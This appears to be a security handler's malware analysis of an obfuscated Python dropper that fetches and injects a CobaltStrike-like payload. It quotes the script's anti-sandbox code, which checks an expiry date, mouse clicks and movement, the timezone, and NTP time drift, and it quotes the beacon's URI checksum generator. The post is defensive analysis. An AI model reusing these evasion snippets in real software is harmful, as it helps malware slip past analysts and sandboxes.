When you buy some fresh food, it's always a good idea to keep an eye on the best-before date. I found a funny piece of malicious Python script that implements the same technique. It will execute only before a specified date (Jun 10th in this case). The script purpose is classic: it will fetch a payload from a remote site, inject it in memory and start a new thread. Such payload are usually related to CobaltStike. I think that the script is still being developed and the attacker tested its score on VT because the payload is fetched from an RFC1918 IP address.
I won't cover the code injection part because it's super common:
The most interesting part is related to the anti-VM and anti-debugging techniques. The script implements multiple checks.
First, as said in the title, it has an expiration date and won't detonate after it:
YLtsrDkSMJIUX = datetime.now() tOyPJeSBB = datetime.strptime("24-06-10","%y-%m-%d") if YLtsrDkSMJIUX < tOyPJeSBB:
Then, it detects if a user is using the mouse:
sPrMcMrd = 0 ZSAdShMGbnjn = 300 while sPrMcMrd < ZSAdShMGbnjn: lhCIIwcaO = win32api.GetAsyncKeyState(1) PUlVQpUUGQwz = win32api.GetAsyncKeyState(2) if lhCIIwcaO % 2 == 1: sPrMcMrd += 1 if PUlVQpUUGQwz % 2 == 1: sPrMcMrd += 1 if sPrMcMrd >= ZSAdShMGbnjn:
GetAsyncKeyState() is used to detect if the user presses some keys but this API call can do more. If you pass the keycodes 0x01 or 0x02, you will test if, respectively, the left and right mouse button is used[1].
Then, it detects if the mouse is moving:
SJlEvm, OsmSmAnVBYAbB = win32api.GetCursorPos() sleep(30) mCBvRLEZPc, FTIUWfDRINwDu = win32api.GetCursorPos() if SJlEvm - mCBvRLEZPc != 0 or OsmSmAnVBYAbB - FTIUWfDRINwDu != 0:
Why checling the mouse position if we already detected a "click"? Some old sandboxes just move the mouse or simulate click but not both.
The system timezone is also checked:
import time as eJXueV if eJXueV.tzname[0] != "Coordinated Universal Time" and eJXueV.tzname[1] != "Coordinated Universal Time":
Finally, some sandboxes manipulate the system clock. For bypass this, the script tests the time via NTP:
client = socket.socket(AF_INET, SOCK_DGRAM) client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123)) msg, address = client.recvfrom( 1024 ) trdooQNWRx = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800) sleep(1500) client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123)) msg, address = client.recvfrom( 1024 ) if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - trdooQNWRx).seconds >= 1500):
If all these conditions are met, the payload is fetched and injected in memory.
To fetch the payload, a random 4-characters string is added as URI:
def uwvPCLCq(s): return sum([ord(ch) for ch in s]) % 0x100 def eZXAAmANKYtzQ(): for x in range(64): afeookOu = ''.join(random.sample(string.ascii_letters + string.digits,3)) wOozSRtIoWO = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random())) for BuJqgEjrd in wOozSRtIoWO: if uwvPCLCq(afeookOu + BuJqgEjrd) == 92: return afeookOu + BuJqgEjrd
Here is an example:
>>> eZXAAmANKYtzQ() '9XuV' >>> eZXAAmANKYtzQ() 'NOpO' >>> eZXAAmANKYtzQ() 'ETqR'
This looks exactly like a default CobaltStrike beacon! The script has currently a score of 12/71 on VT (SHA256: eca1cd9ce317ada991e0a037e70c15e471e9076faa58adf682efbfe22ffa747f[2])
[1] https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
[2] https://www.virustotal.com/gui/file/eca1cd9ce317ada991e0a037e70c15e471e9076faa58adf682efbfe22ffa747f
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key